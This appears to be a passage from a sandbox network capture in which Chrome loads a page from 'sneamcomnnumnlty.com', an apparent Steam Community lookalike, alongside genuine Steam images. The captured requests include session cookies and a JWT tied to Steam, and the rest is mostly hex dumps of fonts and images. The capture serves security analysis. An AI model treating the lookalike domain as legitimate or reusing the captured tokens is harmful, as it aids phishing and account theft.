2024-10-06 12:08:25 UTC	482	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 37 37 31 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 30 34 2e 32 31 2e 39 31 2e 31 36 39 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 73 6e 65 61 6d 63 6f 6d 6e 6e 75 6d 6e 6c 74 79 Data Ascii: [{"age":0,"body":{"elapsed_time":771,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"","sampling_fraction":1.0,"server_ip":"104.21.91.169","status_code":404,"type":"http.error"},"type":"network-error","url":"https://sneamcomnnumnlty
2024-10-06 12:08:26 UTC	168	IN	HTTP/1.1 200 OK Content-Length: 0 date: Sun, 06 Oct 2024 12:08:25 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.5	49793	2.19.126.97	443	6480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:26 UTC	375	OUT	GET /public/images/blank.gif HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 12:08:26 UTC	266	IN	HTTP/1.1 200 OK Server: nginx Content-Type: image/gif Content-Length: 807 Last-Modified: Fri, 05 Jan 2018 22:32:01 GMT ETag: "5a4ffce1-327" Strict-Transport-Security: max-age=300 Accept-Ranges: bytes Date: Sun, 06 Oct 2024 12:08:26 GMT Connection: close
2024-10-06 12:08:26 UTC	807	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f7 00 00 ff 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: GIF89a

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.5	49791	2.16.168.6	443	6480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:26 UTC	574	OUT	GET /public/images/x9x9.gif HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 12:08:26 UTC	256	IN	HTTP/1.1 200 OK Server: nginx Content-Type: image/gif Content-Length: 58 Last-Modified: Wed, 28 Jun 2023 04:07:21 GMT ETag: "649bb1f9-3a" Access-Control-Allow-Origin: * Accept-Ranges: bytes Date: Sun, 06 Oct 2024 12:08:26 GMT Connection: close
2024-10-06 12:08:26 UTC	58	IN	Data Raw: 47 49 46 38 39 61 09 00 09 00 80 01 00 cd ca c1 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 09 00 09 00 00 02 11 04 82 68 9b ec d6 d6 49 81 51 39 2b 7c 19 53 5d 00 00 3b Data Ascii: GIF89a!,hIQ9+\|S];

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.5	49801	104.21.91.169	443	6480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:26 UTC	1493	OUT	GET /20412b512e080052595c4240430472664c152c267957.woff2 HTTP/1.1 Host: sneamcomnnumnlty.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://sneamcomnnumnlty.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://sneamcomnnumnlty.com/20412b512e08005e505a0e0b5f050401095759500c51015656554607740b5643011d5776134c17 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: session=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.pl-SinX5vnLRMPSkcsu8OauXJRrbQjjh.NLiq_QV1AR7bCL-H.fJVn0pxppmZwlL3eZwM7sQ9H79b2vJsXnWRHx7SNOK1EQF_PK9K36rmDR_FUhiVlgjrVMRZgD3XFSTyoAxh7IZhsAD_iepiQKKSmlaNqwOVIrUohfIRLgVHdFAzsR-xj09JQT2rMhxm9o1B-2XFKz2j1Pa0cNLQJaPR_ZQuU2GkfLYCK_N66xWO0b3CA8dFAgauCd0p0wApkOnG8gpyEqQ9yeP7NthAoYOMUVOh1owk1FvuArTWZjV-JPXlsmltq.J267FVKRAoMTYoVUqxOATg; token=eyJhbGciOiJIUzI1NiJ9.eyJvd25lciI6ODUsInNlY3JldCI6ImQ4ZTBjOWM0NjI2M2Y2NDU5ZWFiNWU4ZmRmYzUyYzMxIiwic2VydmljZSI6IlN0ZWFtIn0.fSMgYBULqA6j_tCey-BCCEICC-_iPvnqoa5GfrFDwcs; accessToken=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.q78MNxi5QTdn5i4lijWrLs-DOg7EQVlN.87lDbI6_M3KMAVu0.6Ql_P15JQKaL9qcGO7U39O6Zz-Xu7nmXb0XQdSQrhe96sOknvaVpjDaAsejCMn6qP7hEofy203MLghwN0wWtAtek.M0-VEhh8wn4eEGVZiCFs8g; timezoneOffset=-14400,0
2024-10-06 12:08:26 UTC	1056	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 12:08:26 GMT Content-Type: font/woff2 Transfer-Encoding: chunked Connection: close Content-Disposition: inline Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-origin Last-Modified: Wed, 25 Sep 2024 10:33:39 GMT Origin-Agent-Cluster: ?1 Referrer-Policy: no-referrer Strict-Transport-Security: max-age=15552000; includeSubDomains Vary: Accept-Encoding X-Content-Type-Options: nosniff X-Dns-Prefetch-Control: off X-Download-Options: noopen X-Frame-Options: SAMEORIGIN X-Permitted-Cross-Domain-Policies: none X-Xss-Protection: 0 Cache-Control: max-age=14400 CF-Cache-Status: MISS Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3WXRUcVmYQ2FHfsaPwIPwuxcjEbkRN%2BaJEIMdYQHVasTNmBDT6sAE7Wmo8SCJa3PZ1vZV6dA%2B1ydG%2F2ehPbtZ38ykQtCSZmuEuquAooV49zmpOpxunZvhScWyb9bEw%2Bl7ggt4%2BAs%2BQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ce5896d7c80c461-EWR
2024-10-06 12:08:26 UTC	313	IN	Data Raw: 37 31 62 30 0d 0a 77 4f 46 32 00 01 00 00 00 00 71 b0 00 0f 00 00 00 00 eb 78 00 00 71 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06 60 16 8b 60 00 8d 1c 08 2a 09 82 59 11 0c 0a 83 91 6c 82 d2 65 01 36 02 24 03 87 22 0b 84 18 00 04 20 05 97 73 07 20 0c 81 53 1b d1 c8 87 82 80 8d 03 00 40 dd 3c 44 14 f5 e1 11 c9 49 ab 07 e0 ff ff 43 42 b8 a9 6a c0 1f 7e fa e5 b7 3f fe fa e7 3f ff fb 47 e8 f0 39 6f 08 40 ae dd 1b 41 fc 44 7e 82 3e e8 83 c6 a9 b9 69 a8 2d 5f 88 d3 7f fb 06 4e d0 89 f2 71 24 8b 24 ad 27 5a ec dd db 56 15 92 d9 53 b7 2f 51 b7 5c 1f 50 55 78 9e b7 fb 3c f7 c3 1b 69 82 37 5f d8 ad 02 2f 80 79 11 31 41 9d a2 f6 4b 5c 92 4d 93 1a ac 92 3d 5e b7 af e4 bf c9 d3 c9 4b 08 83 07 f8 92 35 73 f0 dd 13 13 b2 da 42 d1 9c b8 Data Ascii: 71b0wOF2qxqT``*Yle6$" s S@<DICBj~??G9o@AD~>i-_Nq$$'ZVS/Q\PUx<i7_/y1AK\M=^K5sB
2024-10-06 12:08:26 UTC	1369	IN	Data Raw: 93 f9 a1 fb de fb 04 fc 79 5e 37 ff 64 12 41 99 ca 08 2b 04 02 61 8d 20 3b 8f 6c 02 81 24 24 40 c2 0a 12 e6 8e 02 be cb 70 40 c0 01 ae 81 51 dc f5 3b 90 aa 58 89 b3 75 b4 b4 8e 2e 3b 70 b7 da fa 6d 6d f7 ff be e1 f9 6d f6 3e f0 01 c1 00 91 89 1f 71 88 80 91 88 ce 58 08 02 46 11 82 13 d0 89 15 db 54 8c bc ff d5 b1 b9 70 55 ae d5 b5 bb d0 b9 bc 93 85 ab b0 ee 7a ed b9 cb 55 e3 97 6a af ef 44 4a 72 08 61 1d 32 87 77 3a 85 9c 4b 1c b0 47 ae 3f 08 60 92 38 9c de bd 6b 77 2e 43 08 55 ed d2 4d 65 ff ff 4d 35 5b 42 ca 95 74 1d 52 95 53 d1 a4 dc a7 aa a1 de ff 03 c8 ff 63 00 9d 3f 20 69 cd 10 b4 ce 00 14 d7 a3 3c 60 38 06 e9 5d 04 85 21 87 92 41 52 61 53 08 f4 80 54 80 c2 ee 02 4a 87 da c8 75 48 61 53 a8 1c 72 a8 1a 77 2e dd b5 3e ee 5c 94 a5 5d ba f3 f1 95 a9 da Data Ascii: y^7dA+a ;l$$@p@Q;Xu.;pmmm>qXFTpUzUjDJra2w:KG?`8kw.CUMeM5[BtRSc? i<`8]!ARaSTJuHaSrw.>\]
2024-10-06 12:08:26 UTC	1369	IN	Data Raw: b4 32 3d 4d 3f 33 d7 2c 37 bb cc 3d f3 3b d2 8e ac 13 d9 39 b2 77 e4 b0 a8 02 51 5d a3 e6 47 1d 8c 3a 16 ed 11 5d 22 3a 2b 26 3c a6 44 cc ca 98 88 d8 2b 09 95 13 ae 25 86 24 b5 4b ba 9c 74 2b e9 73 56 16 11 11 05 91 b6 41 8e f7 23 82 9c 1c 4e de fb 17 77 4a a1 b2 53 3b d4 62 72 8f 67 ec ef 0c 76 46 38 a3 9d 89 93 67 86 f6 85 2e 86 6e 3f f8 9f 13 39 d9 6b 62 be a9 55 9f d7 aa e7 bc f7 88 d4 ff 19 11 6e 0f f6 8d 08 7e 7e cb 3f af 35 a1 61 a1 ed cf ed f4 8b a6 fa 0b b3 d3 2e bb 65 25 64 fd ce 15 9b 6b 47 ae 1e b9 28 67 d7 ec ab b3 cf 21 ca 16 96 2d dd 2a c3 29 9c 4c c4 09 1c 8b 99 7d 17 ca f2 67 7e c3 af b2 f9 f1 21 7e 8c df f2 7d be c7 b7 89 f8 29 df e5 ab 44 bc ef f1 5f 68 3b 88 78 03 4f e1 f1 3c 86 47 f3 28 3e cf 75 b8 0a 97 e3 92 5c 14 86 1b 11 71 79 2e Data Ascii: 2=M?3,7=;9wQ]G:]":+&<D+%$Kt+sVA#NwJS;brgvF8g.n?9kbUn~~?5a.e%dkG(g!-*)L}g~!~})D_h;xO<G(>u\qy.
2024-10-06 12:08:26 UTC	1369	IN	Data Raw: d9 52 8d 8a 1d e8 9a f8 b8 86 50 94 81 21 38 c2 13 e6 74 6c f8 72 ce de 98 08 61 d4 3c 8a 6d 2d f2 38 ce 1a e9 fb 94 5b 0a 7d a5 bb 3a f9 10 6b 3d cc 66 51 bd 4c 65 51 a9 50 bb 41 0a 31 2f 8c 3f b9 25 b7 56 f2 fc 49 f0 bc 6f ca 80 71 8c ab 74 61 d1 e9 4a 09 45 70 73 a1 78 90 91 57 e3 c7 b9 12 95 c2 ce 2d 48 14 82 e4 45 ad e1 14 11 26 f1 29 71 90 68 9b bf f9 e4 e2 dc 5c 52 99 5b e9 a6 d9 20 c0 43 2c fa f2 28 a4 54 e6 8e 0c 18 dd 28 43 0f 67 6d 63 c1 32 58 be 54 4a 74 09 05 96 21 0c 61 51 28 19 08 01 9e a0 02 3c 3d 22 cb dd ad f9 60 cb 25 4f c5 f3 05 12 8a 2b e1 48 76 7b 7e c9 2d 86 b5 6b ac 5d 29 72 7e 01 80 3d c8 9d 9e 05 4e 01 a8 8d 14 4d 9c 1f 7e 77 3e 3a 45 94 f1 21 8e ad 7e 94 df 64 02 83 66 25 9d 04 5b ad eb f0 c2 51 0b 21 20 5a 01 bb 1b 2f e3 83 3e Data Ascii: RP!8tlra<m-8[}:k=fQLeQPA1/?%VIoqtaJEpsxW-HE&)qh\R[ C,(T(Cgmc2XTJt!aQ(<="`%O+Hv{~-k])r~=NM~w>:E!~df%[Q! Z/>
2024-10-06 12:08:26 UTC	1369	IN	Data Raw: b5 36 e2 5d 8d 1a 54 18 da 46 c8 e4 49 45 91 91 ec 16 60 3e fe dc e4 d6 4e 0f 3f 05 e7 84 38 1b cb d9 71 6c 26 89 25 6f 6d 16 94 a2 aa ad 60 25 68 3c 06 aa 20 d9 0f ff 92 7e 99 50 05 6c 25 88 fe 9a 79 11 13 d9 ce 0d 0b e6 96 81 00 71 64 f9 d4 fa 5c d3 8a 06 07 bc 93 61 69 d0 04 c2 b7 99 a7 83 d8 48 aa 48 b9 d3 06 08 84 b7 11 29 90 31 cc 38 6f 7d ea 00 50 89 41 0e b5 b6 67 2b ad d5 7d 9c 92 d7 44 b5 5d 15 b4 5d 82 26 02 75 48 55 4e 29 2d 65 22 d0 0a 54 f4 ea 78 2e 6d 35 c6 8f 27 6f f8 96 e0 c7 77 75 97 3b a8 3d 64 6c 7b f5 21 2e 68 a0 2a 0f 3c e3 44 48 31 50 50 be ea aa bb b6 09 1c d6 d6 7e da b6 4e 95 6b c8 6d a8 80 cc 2b 7b 8e 7e f6 75 48 0a b5 34 42 24 55 93 6e 46 d0 16 53 7f 55 53 f7 8f 8c 4f b0 f7 d6 d4 71 86 6e 86 87 41 fe 55 ed a5 63 83 03 ac e7 0e Data Ascii: 6]TFIE`>N?8ql&%om`%h< ~Pl%yqd\aiHH)18o}PAg+}D]]&uHUN)-e"Tx.m5'owu;=dl{!.h*<DH1PP~Nkm+{~uH4B$UnFSUSOqnAUc
2024-10-06 12:08:26 UTC	1369	IN	Data Raw: 5a 5e 7f f4 8f 9e cd af 8f 52 cb df 23 2e a4 8f 11 c6 7c ed 25 48 d1 50 11 9e 63 b4 89 35 15 9b f6 e0 f4 da b4 09 e6 a1 fe 38 cb e4 db 4e b3 34 63 8f 6c aa ba ec 00 0b 8b 45 db e6 af 5c bb d9 a7 ac 0a 00 71 bc 50 e6 bd 2d 09 04 7b ef 24 65 97 b4 bc 82 e5 c3 79 c7 5d a0 85 60 09 1f 21 19 ea 1c f9 62 25 e5 30 13 1a 7d e9 ef 28 88 79 47 e5 28 4f 39 05 88 c4 52 c4 31 a8 98 13 94 7e 46 c2 a8 26 e7 f2 ac 4e 47 07 2a 10 44 11 01 8a c8 fe f3 d0 de c9 bb 57 0c c7 12 df 1a 28 2a 60 8a 6c 0e 78 19 11 9c 47 04 67 b4 85 e6 30 2e 55 eb b5 bb d7 ae 29 6d fe a3 47 cf 1e e9 73 b9 d7 d1 cc e3 da 9e 3e 7d f9 d4 fc a9 c9 5b 93 93 75 7e 6c 91 e6 d7 82 1f e2 b8 bf ca f7 33 68 fd 9a 0b f5 db 8b 8e 3a a7 0b 3d 7d 3e 99 79 f9 f2 da 6d 25 66 d3 9c 59 c1 c9 5b b9 4c d6 4e 47 d1 6d Data Ascii: Z^R#.\|%HPc58N4clE\qP-{$ey]`!b%0}(yG(O9R1~F&NGDW(`lxGg0.U)mGs>}[u~l3h:=}>ym%fY[LNGm
2024-10-06 12:08:26 UTC	1369	IN	Data Raw: 03 69 c6 ab 90 ab d0 2d d4 64 9a a9 3a 0a c8 bc ea 14 5a 65 ac 1c 95 f9 87 4c f3 0d 33 cf 65 c1 5d 52 07 82 b6 a8 92 06 8c 53 a4 02 4c cc bb 81 3a fa d6 ad cd ce d8 95 85 c7 14 c9 38 98 ba 31 82 bd 4b 57 af 5e 3d 5f 92 6b a3 93 93 93 17 91 3b 34 35 d5 80 64 fc f0 e9 d2 b5 ef 02 9d ca 73 93 53 79 99 97 f1 5a 3d da 2f b5 9f ba f6 e9 a6 41 62 51 4e 79 2e aa 73 6a 7a 3a ef 33 db c3 15 76 c7 c9 3b 85 23 40 03 a3 a0 50 de c9 f2 87 b1 1a 8d e1 e0 3d 98 22 dd b9 3f 87 ca 45 79 68 6b 1e e7 78 de b9 27 29 26 91 94 e3 9d 1f 1e 5e d5 35 38 78 16 71 94 11 13 59 07 85 58 4d 11 e1 7c 0e c3 f0 2f 51 64 00 2b 5e 87 2e cb 9e 3c 65 b5 83 61 a7 30 45 5b 3b 47 42 68 34 8a 2c 40 4c c2 80 ec fa 4c c8 e3 82 c3 c4 1b bf 65 80 99 e5 0c dd 46 36 f0 cc 30 86 76 59 71 64 0b 88 73 28 Data Ascii: i-d:ZeL3e]RSL:81KW^=_k;45dsSyZ=/AbQNy.sjz:3v;#@P="?Eyhkx')&^58xqYXM\|/Qd+^.<ea0E[;GBh4,@LLeF60vYqds(
2024-10-06 12:08:26 UTC	1369	IN	Data Raw: c9 29 f0 1d 58 65 85 6f ab dd 0e 48 31 41 9e 78 6f 5a 72 4d cc 58 c8 1f 74 80 04 0e 93 74 30 82 45 26 b8 43 34 45 a1 bf 2b 1f d4 ce 3d cf af aa 9d 15 c5 bc 7b 39 aa 5f 9f 41 38 83 a5 af df 38 4b 39 21 0f 5e 27 a0 a1 2f 3d d8 81 0b bb 84 c3 08 e6 e1 c4 9f ee 1f 3e 3d 46 06 6e 50 5a c1 91 47 e5 30 ca 52 c0 03 5e cc 4d 74 e7 40 83 a9 be 21 e4 0e f6 5e 27 84 ab 58 33 c8 be 76 d2 6e f8 87 43 8a a1 f3 a4 69 6f ff b8 28 75 94 cc ee eb 21 96 e0 7a 47 ef 25 fe 6b 1e ff 8d 78 ff e4 c0 0d 1a f4 35 1c ee 7b 7e fb 8a 9d f1 c6 9b f6 f6 3f 69 72 5a 06 26 c0 26 3a 90 d9 7b 6f 51 97 ac be 33 59 74 3e 7b a4 91 7b f1 10 0b fa e2 c6 8b d8 9b 98 7b 48 83 a9 a9 99 b5 7d 34 58 c6 de e2 8b ce 65 45 51 b4 80 dc d1 9b ed ee ff c9 13 e2 7f 84 dc db cf e7 b5 01 6e d1 ca 92 2f 17 fd Data Ascii: )XeoH1AxoZrMXtt0E&C4E+={9_A88K9!^'/=>=FnPZG0R^Mt@!^'X3vnCio(u!zG%kx5{~?irZ&&:{oQ3Yt>{{{H}4XeEQn/
2024-10-06 12:08:26 UTC	1369	IN	Data Raw: c4 2e 1d 15 d1 60 06 1a 1e 85 a8 3e f6 26 46 e6 28 35 3c 17 67 bc 97 54 bb 02 0b fb bd c6 0c b9 43 94 1a 75 1a 74 62 d1 eb 20 7e 51 27 fe a0 0d 29 a2 d7 88 3f 8c 43 75 0f f7 1f a8 a0 d8 86 66 0e f4 75 72 b5 fb 83 84 60 ba b3 5b f3 b5 e1 c8 23 0b aa 48 1b 3c 30 92 15 23 46 ed 91 d5 de 55 86 eb 84 55 07 dd d1 56 4d 0e b6 be 41 80 70 26 eb 6c f8 a5 53 c3 d1 09 3a bd 58 7b d2 33 be 31 36 f3 51 91 2e c5 fd 70 a5 fc 61 93 f1 38 a4 32 5a bd 56 d1 e8 c8 dc 18 ca 92 1d 51 a4 e4 0a 8d 2b 7d 14 77 a6 9a 50 1f 02 fe 4d bb 6b 8d b2 9b f6 4b 7a 8d 7a 9d 0b 13 13 8d e3 3e 82 24 98 cd d5 57 b9 71 db 99 97 34 78 be d6 3a 33 42 83 86 33 13 13 73 34 58 6b f4 dd 4e c3 4d 9a c6 0f 4d c3 b4 91 5b 4f 67 31 70 63 6e 6e a0 31 cc be 97 15 ea 43 6c 83 cf 95 a0 fe e8 d2 ee 06 ce 6b Data Ascii: .`>&F(5<gTCutb ~Q')?Cufur`[#H<0#FUUVMAp&lS:X{316Q.pa82ZVQ+}wPMkKzz>$Wq4x:3B3s4XkNMM[Og1pcnn1Clk
2024-10-06 12:08:26 UTC	1369	IN	Data Raw: a4 7f 76 78 24 dc 23 73 eb 6e 24 9b 1b 0f 74 ac cd 37 92 cd 8d cc fe 49 22 50 55 98 f0 e3 bc 25 fa db fb 49 7c a6 04 1d e3 86 a1 31 f8 a1 a9 92 fd b5 b5 21 f6 7e d1 29 3f 14 a6 d9 e1 42 e4 55 74 10 43 3f 09 fa 3a 35 7c cf b4 2c 33 c0 9d bf 79 b3 78 78 ec 27 a7 ad c1 2e 29 af fa 1e cf 6e c9 e4 0a 65 41 9b a9 c1 ff 5c 32 6a 2c bd 1e ec 16 ef 93 fc 49 17 d8 f7 8c 1f ea 05 27 6b 3a 73 cb c9 f4 11 b6 b6 c8 42 04 2b ca 94 68 29 53 88 ac e6 c6 10 0a 1d b0 6b 98 0e 49 21 f8 e2 a6 2b ba 89 b0 46 14 a5 2e 48 0b 11 8c 15 ca 4c 9f 32 81 b7 a7 9f 6c 94 d0 00 0f b0 fa 0b b1 8f 1f db 86 ac e3 5c 1c 43 46 2b 45 32 10 6e 91 fb 06 bd 2c 45 32 45 22 98 e2 1b f5 4c 41 17 7f 9b ce ee bd ad 8b 4d ea 56 a5 93 c7 77 37 0c 45 51 74 60 f7 9e 96 7d 2d 3d 71 62 1d 77 ef ed 1a 3d 7b Data Ascii: vx$#sn$t7I"PU%I\|1!~)?BUtC?:5\|,3yxx'.)neA\2j,I'k:sB+h)SkI!+F.HL2l\CF+E2n,E2E"LAMVw7EQt`}-=qbw={

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.5	49794	2.16.168.6	443	6480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:26 UTC	606	OUT	GET /public/images/account/redeem_wallet_complete_popup.png HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 12:08:26 UTC	269	IN	HTTP/1.1 200 OK Server: nginx Content-Type: image/png Content-Length: 22513 Last-Modified: Fri, 05 Jan 2018 22:32:01 GMT ETag: "5a4ffce1-57f1" Strict-Transport-Security: max-age=300 Accept-Ranges: bytes Date: Sun, 06 Oct 2024 12:08:26 GMT Connection: close
2024-10-06 12:08:26 UTC	16115	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 b7 00 00 00 aa 08 06 00 00 00 2e a8 01 1a 00 00 00 09 70 48 59 73 00 00 12 74 00 00 12 74 01 de 66 1f 78 00 00 0a 4f 69 43 43 50 50 68 6f 74 6f 73 68 6f 70 20 49 43 43 20 70 72 6f 66 69 6c 65 00 00 78 da 9d 53 67 54 53 e9 16 3d f7 de f4 42 4b 88 80 94 4b 6f 52 15 08 20 52 42 8b 80 14 91 26 2a 21 09 10 4a 88 21 a1 d9 15 51 c1 11 45 45 04 1b c8 a0 88 03 8e 8e 80 8c 15 51 2c 0c 8a 0a d8 07 e4 21 a2 8e 83 a3 88 8a ca fb e1 7b a3 6b d6 bc f7 e6 cd fe b5 d7 3e e7 ac f3 9d b3 cf 07 c0 08 0c 96 48 33 51 35 80 0c a9 42 1e 11 e0 83 c7 c4 c6 e1 e4 2e 40 81 0a 24 70 00 10 08 b3 64 21 73 fd 23 01 00 f8 7e 3c 3c 2b 22 c0 07 be 00 01 78 d3 0b 08 00 c0 4d 9b c0 30 1c 87 ff 0f ea 42 99 5c 01 80 84 01 c0 74 91 38 4b Data Ascii: PNGIHDR.pHYsttfxOiCCPPhotoshop ICC profilexSgTS=BKKoR RB&*!J!QEEQ,!{k>H3Q5B.@$pd!s#~<<+"xM0B\t8K
2024-10-06 12:08:26 UTC	6398	IN	Data Raw: f2 22 cb 32 6d 4b 12 23 84 2d 9d cc 91 cf 16 a7 ed f3 45 23 61 da db 5a 47 9d 43 27 c4 6d 2e 7b 6e 96 c5 c1 8d 35 7a 6e de f4 ac b7 c1 c0 f9 6e 07 35 ea 43 c5 7f e7 9b c0 c5 1b a2 d3 2a 70 86 2c f1 c5 b5 09 ae ff f4 07 f8 d7 ed 37 f3 d5 cf 8c 1d 8a 04 f0 05 b5 fd 96 f9 38 9d 84 13 3e 54 5d d9 bb e6 36 86 e7 b6 62 69 98 42 d1 44 a4 94 4c 3f 83 db 05 26 aa 4c 22 c9 12 ad 8b e3 23 92 47 ca 25 93 be ee cc b4 7c 26 43 d7 59 d4 d6 4a bc a1 61 de 1c 7d 24 c4 8d 81 18 76 ae 64 73 d0 a0 b8 55 d9 2a 5e 49 82 69 2c 6e bf a1 4d c5 b5 e6 e7 3e 24 59 96 69 68 88 92 4e 25 eb 2e 70 41 45 e6 ab 07 37 f2 f3 4f 5e c6 03 ff be 83 ab 3e 7d 24 07 1d 18 1b f7 f9 ae 33 3f 4d bb 24 49 24 da 43 38 ee c0 c0 56 c7 09 4b ba ae 27 f6 bb cd 64 e4 22 11 a7 b5 a5 19 6d 1f 2f 4e 92 24 5a Data Ascii: "2mK#-E#aZGC'm.{n5znn5Cp,78>T]6biBDL?&L"#G%\|&CYJa}$vdsU^Ii,nM>$YihN%.pAE7O^>}$3?M$I$C8VK'd"m/N$Z

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.5	49795	2.16.168.6	443	6480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:26 UTC	590	OUT	GET /public/images/v6/logo_steam_footer.png HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 12:08:26 UTC	267	IN	HTTP/1.1 200 OK Server: nginx Content-Type: image/png Content-Length: 2843 Last-Modified: Thu, 18 Jun 2020 23:12:51 GMT ETag: "5eebf4f3-b1b" Strict-Transport-Security: max-age=300 Accept-Ranges: bytes Date: Sun, 06 Oct 2024 12:08:26 GMT Connection: close
